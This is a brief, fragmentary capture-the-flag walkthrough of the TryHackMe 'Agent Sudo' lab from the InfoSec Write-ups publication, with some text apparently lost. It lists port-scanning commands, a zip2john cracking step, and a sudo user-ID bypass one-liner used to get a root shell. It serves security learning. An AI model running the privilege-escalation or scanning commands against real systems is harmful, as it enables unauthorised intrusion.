InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

Tryhackme: AgentSudo

Naman Jain
InfoSec Write-ups
Published in
4 min readApr 26, 2022

--

Intro

Initials

export IP=10.10.220.97

Port scanning

rustscan -a $IP --ulimit 5000 | tee rust.txt

nmap

nmap -sC -sV -p21,22,80 oN nmap $IP -Pn 
nmap scan results

Further Recon

Port 80: http

foport 80

Port 21: FTP

/usr/sbin/zip2john <image_name> > forjhon

User

Root

sudo -l
sudo -u#-1 /bin/bash

--

--

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Naman Jain

Security Researcher @Credshields | Smart Contract Auditor

No responses yet